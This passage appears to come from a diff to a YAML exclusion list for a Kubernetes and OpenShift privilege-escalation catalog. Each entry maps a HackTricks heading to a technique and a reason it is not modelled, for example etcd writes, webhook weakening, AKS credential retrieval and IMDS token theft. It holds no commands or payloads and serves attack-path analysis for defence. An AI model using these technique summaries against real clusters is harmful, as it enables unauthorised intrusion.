src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#cross-namespace-reference-through-an-operator + technique: Operator reading cross-namespace Secrets on behalf of a CR author + reason: Secret disclosure (data access) through an operator-specific CRD; operator behaviour is not derivable from RBAC. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#operator-custom-resource-confused-deputy + technique: Operator custom-resource confused deputy + reason: Operator-specific (which CR field becomes a pod command or binding under the operator identity is not derivable from RBAC or the inventory); Flux and Argo CD deputies are modelled in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#disclaimer + technique: ESO prerequisites disclaimer + reason: Context for the ExternalSecret technique excluded at #assembling-the-pieces. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#gathering-information-about-existing-clustersecretstore + technique: ClusterSecretStore enumeration + reason: Enumeration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#externalsecret-enumeration + technique: ExternalSecret enumeration + reason: Enumeration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#exploitation-ideas + technique: Helm .Values YAML injection + reason: Chart-specific input validation flaw; the escalation is the renderer identity, modelled by the GitOps deputy entries. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#helm-v3-vs-helm-v4 + technique: Helm 3 vs Helm 4 apply behaviour + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kyverno.md#definition + technique: Kyverno definition + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kyverno.md#use-cases + technique: Kyverno use cases + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kyverno.md#example-clusterpolicy-and-policy + technique: Kyverno policy example + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kyverno-bypass.md#abusing-validatingwebhookconfiguration + technique: Kyverno webhook configuration bypass + reason: Pointer to validating-admission-policies.md; webhook configuration writes are k8s-admission-webhook-configuration-weaken (kyverno_policy lifted) and mutating webhook creation is k8s-workloads-mutating-webhook-injection. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/opa-gatekeeper.md#definition + technique: Gatekeeper definition + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/opa-gatekeeper.md#apply-constraint + technique: Gatekeeper constraint example + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/opa-gatekeeper-bypass.md#abusing-validatingwebhookconfiguration + technique: Gatekeeper webhook configuration bypass + reason: Pointer to validating-admission-policies.md; webhook configuration writes are k8s-admission-webhook-configuration-weaken (gatekeeper_constraint lifted) and mutating webhook creation is k8s-workloads-mutating-webhook-injection. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#copy-a-pvc-through-volumesnapshot + technique: Copy a PVC through VolumeSnapshot + reason: Data access within the same namespace, no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#dra-admin-device-claims + technique: DRA adminAccess ResourceClaims + reason: Driver-specific device access; per HackTricks it grants neither cluster-admin nor node root by itself. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/admission-policy-objects.md#definition + technique: ValidatingWebhookConfiguration definition + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/admission-policy-objects.md#purpose + technique: Admission webhook purpose + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/admission-policy-objects.md#native-cel-admission-policies + technique: Native CEL admission policies + reason: Background; policy writes are mapped at #tested-admission-control-mutations (k8s-admission-validating-policy-weaken). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#explicit-serviceaccount-token-projection + technique: Explicit projected ServiceAccount token despite automount false + reason: Covered by k8s-workloads-pods-create (automountServiceAccountToken is not treated as a blocker). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/admission-control-bypass.md#init-container-envfrom-omission + technique: Init-container envFrom policy gap + reason: Policy bypass leading to a Secret read in the same namespace (data access, no new identity). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/admission-control-bypass.md#scoped-resourcequota-gap + technique: Scoped ResourceQuota gap + reason: Resource-exhaustion / DoS. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#use-case + technique: Webhook use case + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#podcertificate-signer-identity-confusion + technique: PodCertificate custom signer trusting userAnnotations + reason: Not default Kubernetes behaviour; depends on a custom signer and relying application, neither collected. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md#missing-service-account + technique: Missing ServiceAccount (index) + reason: Index; modelled by k8s-rbac-dangling-serviceaccount-reference. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md#tekton + technique: Tekton (index) + reason: Index; modelled by k8s-openshift-tekton-namespace-scc-annotation. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md#scc-bypass + technique: SCC bypass (index) + reason: Index; modelled by the openshift.yaml SCC entries. +- source: src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md#custom-labels-and-automation + technique: Custom labels consumed by automation or admission + reason: Environment-specific automation; not derivable. +- source: src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md#list-namespaces-with-the-run-level-label + technique: Listing run-level namespaces + reason: Enumeration. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#what-is-tekton + technique: Tekton background + reason: Background. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#the-pipeline-service-account-capabilities + technique: pipeline ServiceAccount with pipelines-scc + reason: Holding the pipeline SA's credentials is the starting point; reaching it is pod creation as that SA (k8s-workloads-pods-create) and its SCC use is modelled by k8s-openshift-scc-via-namespace-sa. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#the-fix + technique: Tekton maxAllowed fix + reason: Mitigation. +# ---- ledger pass 171e422 (docs/privesc-ledgers/privesc-k8s.md): technique headings that had no catalog line ---- +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/dosing-other-nodes.md#resource-pressure-or-loss-of-node-health + technique: Resource pressure or stopping kubelet on competing nodes + reason: Needs a workload or host access on the competing node and yields availability loss; the placement half is k8s-nodes-replacement-pod-to-controlled-node. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/etcd-post-exploitation.md#locate-and-read-the-active-datastore + technique: Reading Kubernetes objects directly from etcd + reason: Requires etcd client certificates or host access to a control-plane/etcd member (not an RBAC grant); control-plane host compromise is k8s-nodes-control-plane-node. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/etcd-post-exploitation.md#create-a-new-workload-through-etcd + technique: Writing a Pod object directly into etcd + reason: Same prerequisite as etcd reads (datastore credentials); bypasses the API server so no RBAC requirement exists to model. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/helm-release-and-runner-evidence.md#release-records-and-sensitive-history + technique: Reading Helm release Secrets (sh.helm.release.v1.*) for values history + reason: Requires secrets read, already modelled by k8s-rbac-secrets-read-legacy-sa-token for ServiceAccount tokens; other credentials in values are not derivable from metadata. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/helm-release-and-runner-evidence.md#deployment-runner-and-chart-supply-chain + technique: Compromising the Helm deployment runner or chart supply chain + reason: CI/CD and registry compromise outside the cluster snapshot. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#helm-2-tiller-release-operations-without-client-tls + technique: Helm 2 Tiller without client TLS + reason: Network-exposed service with no authenticating principal; Tiller's ServiceAccount is reachable from anything that can reach the port, which the snapshot does not model. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#nodeport-ingress-gateway-and-exposed-application-backends + technique: Exposed NodePort/Ingress/Gateway application backends + reason: Application-level unauthenticated exposure; no Kubernetes principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#kubernetes-dashboard-legacy-skip-login + technique: Kubernetes Dashboard skip login + reason: Network exposure of the Dashboard ServiceAccount; no RBAC source principal (the Dashboard SA's own grants are evaluated as a normal ServiceAccount). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#argo-cd-anonymous-gitops-permissions + technique: Argo CD anonymous access + reason: Argo CD's own (non-Kubernetes) RBAC; the Kubernetes side is k8s-workloads-argocd-application-controller-identity once Applications can be written. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#argo-workflows-server-mode-workflow-submission + technique: Argo Workflows server-mode submission + reason: Argo server auth mode, not Kubernetes RBAC; workflows run as the selected ServiceAccount, equivalent to pod creation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#prometheus-alertmanager-grafana-and-metrics-endpoints + technique: Exposed Prometheus, Alertmanager, Grafana and metrics endpoints + reason: Information disclosure over the network; no identity edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#envoy-and-service-mesh-admin-interfaces + technique: Exposed Envoy and mesh admin interfaces + reason: Network-level admin interface; no Kubernetes principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#weave-scope-exposed-container-controls + technique: Weave Scope exposed container controls + reason: Network exposure of a privileged agent; no Kubernetes principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#container-registries-anonymous-images-and-layers + technique: Anonymous container registry access + reason: Registry data read outside the cluster API. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/kubelet-authentication-and-authorization.md#kubelet-authentication + technique: Kubelet anonymous / webhook authentication + reason: Kubelet configuration is not collected; authenticated kubelet API access is modelled by the nodes/proxy entries. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/kubelet-authentication-and-authorization.md#webhook-cache-and-permission-revocation + technique: Kubelet authorization cache after RBAC revocation + reason: Incident-response timing behaviour; no escalation edge. +- source: src/pentesting-cloud/kubernetes-security/spiffe-spire-workload-identity-spoofing.md#cgroup-based-selector-spoofing + technique: SPIRE cgroup selector spoofing from node root + reason: Requires node root (k8s_node already reached) and yields SPIFFE SVIDs trusted by external services; SPIRE registrations and relying parties are not collected. +# ---- independent heading coverage review at a66f094ede ---- +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#helm-kustomize-and-gitops + technique: Helm, Kustomize and GitOps concepts + reason: Describes renderers and deployers; it grants no permission. Concrete controller-deputy writes are in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/control-plane-components.md#cloud-controller-manager + technique: Cloud controller manager background + reason: Describes reconciliation of cloud resources; no source permission or principal-to-principal path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/control-plane-components.md#secrets-in-etcd + technique: Discovering Secrets in etcd + reason: Requires datastore or control-plane host access; the host principal is covered by k8s-nodes-control-plane-node, and reading Secret values does not itself identify a new principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kubernetes-objects.md#configuration-and-secret-objects + technique: Configuration and Secret object definitions + reason: Object taxonomy; the concrete token Secret read and ConfigMap code-consumption paths are in rbac.yaml and workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kubernetes-objects.md#policy-scheduling-and-operational-objects + technique: Policy and scheduling object definitions + reason: Object taxonomy without a distinct permission set; node scheduling and admission writes are modelled in nodes.yaml and admission_control.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kubernetes-objects.md#secret-delivery-example + technique: Secret delivery example + reason: Shows normal Secret projection into a Pod; stealing a mounted ServiceAccount token requires a workload or node access path already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#node-identity-and-authorization + technique: Node identity and authorization background + reason: Explains node credentials and NodeRestriction, which constrain the node paths rather than granting a new principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md#get-list-watch-and-visibility + technique: get, list and watch visibility + reason: General API enumeration; specific credential-bearing Secret reads are covered by the rbac.yaml Secret entry. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md#get-my-current-permissions + technique: SelfSubjectAccessReview permission discovery + reason: Queries the caller's existing authorization and grants no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/controller-and-admission-objects.md#pod-security-admission-and-resource-policy + technique: Enumerating Pod Security Admission and resource policies + reason: Read-only policy inspection; namespace label and admission-control mutations are modelled separately. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/controller-and-admission-objects.md#operators-policy-controllers-and-gitops + technique: Enumerating operators and GitOps controllers + reason: Read-only controller discovery; no write to a source object or new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/controller-and-admission-objects.md#helm-and-packaging-evidence + technique: Helm release and chart enumeration + reason: Read-only release inspection; chart or values changes need a privileged reconciler and are covered by the controller-deputy entries or the Helm exclusion. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/networking-objects.md#networkpolicies-and-plugin-specific-policy + technique: NetworkPolicy enumeration + reason: Reads traffic policy; changing policy affects reachability, not a principal's identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/secrets-and-configmaps.md#external-secret-delivery-objects + technique: External Secret object enumeration + reason: Inspects delivery configuration only; ExternalSecret creation reads data and has no derivable identity in the snapshot. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/secrets-and-configmaps.md#clustertrustbundles-and-installed-certificate-controllers + technique: ClusterTrustBundle and certificate controller enumeration + reason: Reads trust and signer configuration; certificate identity minting requires the separate CSR permission combination in rbac.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/storage-objects.md#pod-local-volume-sources + technique: Pod volume-source enumeration + reason: Lists mounts; host-level use requires pod creation or access already modelled in nodes.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/nodes-and-static-pods.md#static-pod-manifest + technique: Static Pod manifest persistence + reason: Requires prior host-file write and cannot reference ServiceAccounts or Secret/ConfigMap volumes; no additional principal is gained. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/workloads-and-gitops.md#detached-process-in-an-existing-pod + technique: Detached process in an existing Pod + reason: Persistence inside the same Pod identity; no additional principal beyond the pods/exec access already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#dns-and-proxy-policy-review + technique: DNS and proxy policy review + reason: Network configuration inspection; no credential or principal transition. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#networkpolicy-and-admin-policy-layers + technique: NetworkPolicy and admin-policy layers + reason: Traffic authorization and isolation; writes change connectivity, not identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#pod-label-traffic-hijack + technique: Pod label traffic hijack + reason: Reroutes Service traffic to an attacker Pod; no deterministic transfer of a Kubernetes principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#create-only-name-squatting + technique: Create-only Service and Endpoint name squatting + reason: Captures traffic for an absent object name; credentials obtained from applications are not derivable from RBAC and object metadata. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#cross-node-resolver-side-dns-interception + technique: Resolver-side DNS interception across nodes + reason: Requires network or node control and redirects traffic; no specific principal is gained. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#stable-pod-dns-names-are-routing-hints-not-identity + technique: Stable Pod DNS names + reason: Routing hints have no authentication authority or identity transition. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#node-network-and-local-services + technique: Node network and local services + reason: Network access after node compromise; new credentials are not identified by this section. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#find-node-kubeconfig + technique: Find node kubeconfig + reason: Reads the already controlled node's own credential; node-to-workload reach is modelled by k8s-nodes-node-mint-pod-sa-tokens. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#pivot-to-cloud + technique: Pivot from a node to a cloud role + reason: Covered by k8s-cloud-node-cloud-identity for the node's associated cloud credential. +- source: src/pentesting-cloud/openshift-pentesting/openshift-scc.md#list-scc + technique: List Security Context Constraints + reason: Read-only SCC discovery; the separate use and namespace-bypass permission combinations are modelled in openshift.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#rbac-and-serviceaccount-safeguards + technique: RBAC and ServiceAccount safeguards + reason: Defensive configuration advice; no new principal is obtained by applying it. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#kubelet-and-the-pod-lifecycle + technique: Kubelet and Pod lifecycle background + reason: Describes kubelet operations rather than an additional RBAC permission; nodes/proxy and node access are modelled in nodes.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#cni-and-network-policy + technique: CNI and network-policy background + reason: Describes traffic enforcement, not impersonation or credential transfer. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#csi-devices-and-node-agents + technique: CSI, device and node-agent background + reason: Lists host components; no distinct source permission or identified target principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#node-health-placement-and-local-evidence + technique: Node health and placement background + reason: Explains scheduler inputs; concrete status writes and controlled-node placement are in nodes.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#cloud-controller-manager + technique: Cloud controller-manager enumeration + reason: Read-only discovery of the controller; no write or new principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#node-services + technique: Node service enumeration + reason: Probes kubelet and local services; nodes/proxy is modelled, while network-exposed services have no RBAC source edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#csi-device-plugins-and-node-agents + technique: CSI and device plugin enumeration + reason: Read-only inventory of installed agents; access to an agent's identity requires a separate workload or node path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#other-installed-node-agents + technique: Installed node-agent enumeration + reason: Read-only agent discovery without an actionable permission combination. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#helm-deployment-boundaries + technique: Helm deployment boundary guidance + reason: Defensive advice identifying the deploying identity; direct Helm invocation uses the caller's own authorization. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#scan-helm-charts + technique: Scan Helm charts + reason: Defensive static analysis of chart content; no change of privileges. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#spiffespire-workload-identity + technique: SPIFFE/SPIRE hardening guidance + reason: Defensive guidance; the concrete node-root selector spoofing is separately excluded because SPIRE registrations and relying parties are not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-permissions-for-a-pentest.md#kubernetes-api-read-permissions + technique: Kubernetes API read permission baseline + reason: Enumerating cluster objects does not grant another principal; token-bearing Secret read is separately modelled in rbac.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#node-boundary-and-evidence + technique: Node boundary and evidence + reason: Explains which node-local files and processes are reachable after node compromise; the node edge is already reached. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#spiffespire-workload-identity-spoofing + technique: SPIFFE/SPIRE node-root identity spoofing pointer + reason: Requires node root already gained; SPIRE registrations and relying parties needed to identify an SVID target are not collected. +# Kubernetes-named pages outside kubernetes-security: provider-control-plane permissions +# belong to their provider catalogs; unauthenticated exposure has no RBAC source. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + technique: AKS user/admin kubeconfig retrieval + reason: Source permissions are Azure ARM listClusterUserCredential/listClusterAdminCredential; they are Azure-principal edges in the azure catalog, not Kubernetes RBAC grants. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + technique: AKS alternate credential retrieval APIs + reason: Source permissions are Azure ARM actions, evaluated in the azure catalog; the Kubernetes catalog starts after those credentials are obtained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#run-command--in-cluster-execution-with-no-kubeconfig-and-no-network-line-of-sight + technique: AKS Run Command + reason: Microsoft.ContainerService/managedClusters/runCommand/action is an Azure ARM permission, not a Kubernetes verb. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#re-arm-the-built-in-cluster-admin--graft-an-attacker-entra-admin-group-managedclusterswrite + technique: AKS managedClusters/write admin reconfiguration + reason: Azure ARM write to cluster authentication settings; source and target are Azure/Entra identities, handled by the azure catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#vm-scale-set-run-command-on-aks-workers + technique: VMSS Run Command on AKS workers + reason: Azure compute permission is required; Kubernetes RBAC cannot invoke the VMSS API. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#external-oidc-authentication-on-aks + technique: External OIDC authentication on AKS + reason: Trust and group mappings configure authentication; this heading supplies no Kubernetes source permission that creates a new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS Kubernetes RBAC operations + reason: The Kubernetes verbs discussed are already modelled by rbac.yaml, workloads.yaml and admission_control.yaml; AKS does not change their permission combinations here. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + technique: ARO cluster credential retrieval + reason: Azure ARM ARO credential actions belong to the azure catalog, not a Kubernetes source principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#node--kubelet-managed-identity-theft-via-imds--cluster--azure-pivot + technique: AKS node managed-identity credentials from IMDS + reason: The same node-to-cloud-identity edge is k8s-cloud-node-cloud-identity; node compromise is the prerequisite. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#add-an-attacker-influenced-node-pool-agentpoolswrite + technique: AKS agentPools/write + reason: Creates or changes Azure-managed node pools through ARM; Azure catalog owns the source permission. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#api-server-network-exposure-managedclusterswrite--apiserveraccessprofile + technique: AKS API-server network exposure + reason: ARM write changes network reachability and grants no Kubernetes principal identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#cluster-certificate-rotation--invalidate-all-kubeconfigs-rotateclustercertificatesaction + technique: AKS cluster certificate rotation + reason: Availability and credential invalidation action, not acquisition of another principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#flux-gitops-self-healing-foothold-fluxconfigurationswrite--sourcecontrolconfigurationswrite + technique: Azure Flux configuration persistence + reason: Source write is Azure ARM; a Kubernetes principal's direct Flux Kustomization write is modelled separately in workloads.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#cluster-extension-install--privileged-in-cluster-components-extensionswrite + technique: AKS extension install + reason: Azure ARM extension permission deploys a privileged component; no Kubernetes RBAC source grant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#re-arm-the-built-in-cluster-admin--attacker-entra-admin-group-managedclusterswrite + technique: AKS admin group reconfiguration persistence + reason: Same Azure managedClusters/write authentication change as the azure catalog path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#reset-aad--service-principal-profile-resetaadprofile--resetserviceprincipalprofile + technique: AKS AAD or service-principal reset + reason: Azure ARM reset actions change cluster control-plane credentials; no Kubernetes source principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#related-workload-identity-federated-credential + technique: Federated-credential persistence + reason: Entra federated credential writes are Azure-side; an existing Kubernetes ServiceAccount's federated identity edge is k8s-cloud-aks-workload-identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#trusted-access-role-binding--service-identity-access-through-the-aks-gateway-trustedaccessrolebindingswrite + technique: AKS Trusted Access role binding + reason: Azure ARM trustedAccessRoleBindings/write delegates access to an Azure service identity; no Kubernetes RBAC source grant. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#anonymous-privileged-api-operations + technique: Anonymous privileged Kubernetes API operations + reason: Exposure is evaluated through system:anonymous and system:unauthenticated RBAC group membership; no separate permission combination. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#anonymous-privileged-kubelet-operations + technique: Anonymous kubelet execution + reason: Network-exposed kubelet configuration is not collected and has no authenticated Kubernetes RBAC source principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#exposed-workloads--imds-ssrf--azure-managed-identity-token + technique: Exposed workload SSRF to Azure IMDS + reason: Application SSRF and network reachability are not Kubernetes RBAC grants; a node credential reached through Kubernetes is modelled by cloud_pivot.yaml. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md#enumeration + technique: DOKS enumeration + reason: Read-only API and cluster discovery; no distinct privilege-escalation permission. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/controllers-and-admission.md#operator-custom-resources + technique: Generic operator custom-resource persistence + reason: The CR field that becomes code or an RBAC grant under the operator's identity is operator-specific and not derivable from RBAC; concrete Flux, Argo CD and Crossplane deputies are in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/workloads-and-gitops.md#gitops-helm-operators-and-mutable-images + technique: Generic Helm, operator and mutable-image persistence + reason: Flux and Argo CD Kubernetes object writes are already modelled; registry/Git source writes and generic operator template fields are not Kubernetes RBAC permissions collected by the evaluator. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#helm-values-yaml-injection + technique: Generic Helm values YAML injection + reason: A values edit escalates only through a particular vulnerable chart and a more privileged applier; those template fields and external Git/CI writers are not derivable from the Kubernetes RBAC snapshot. + +# Strict principal/permission-gain audit, 2026-10-16. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#validatingwebhookconfigurations-or-mutatingwebhookconfigurations + technique: k8s-admission-webhook-configuration-weaken + reason: Weakening admission alone does not grant a principal credential or additional RBAC permission. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#mounting-gcp-sa-keys-as-secret + technique: k8s-cloud-pivot-secret-static-gcp-sa-key + reason: Secret metadata does not verify a usable Google service-account key or its exact principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: 171e422 + technique: k8s-admission-validating-policy-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: a66f094ede + technique: k8s-admission-webhook-configuration-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: a66f094ede + technique: k8s-admission-policy-engine-validating-webhook-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: 171e422 + technique: k8s-admission-namespace-label-exit + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#disrupting-a-fail-open-webhook-backend + source_revision: 171e422 + technique: k8s-admission-fail-open-webhook-backend + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: 171e422 + technique: k8s-admission-policy-engine-excluded-namespace + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: a66f094ede + technique: k8s-admission-kyverno-policy-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: a66f094ede + 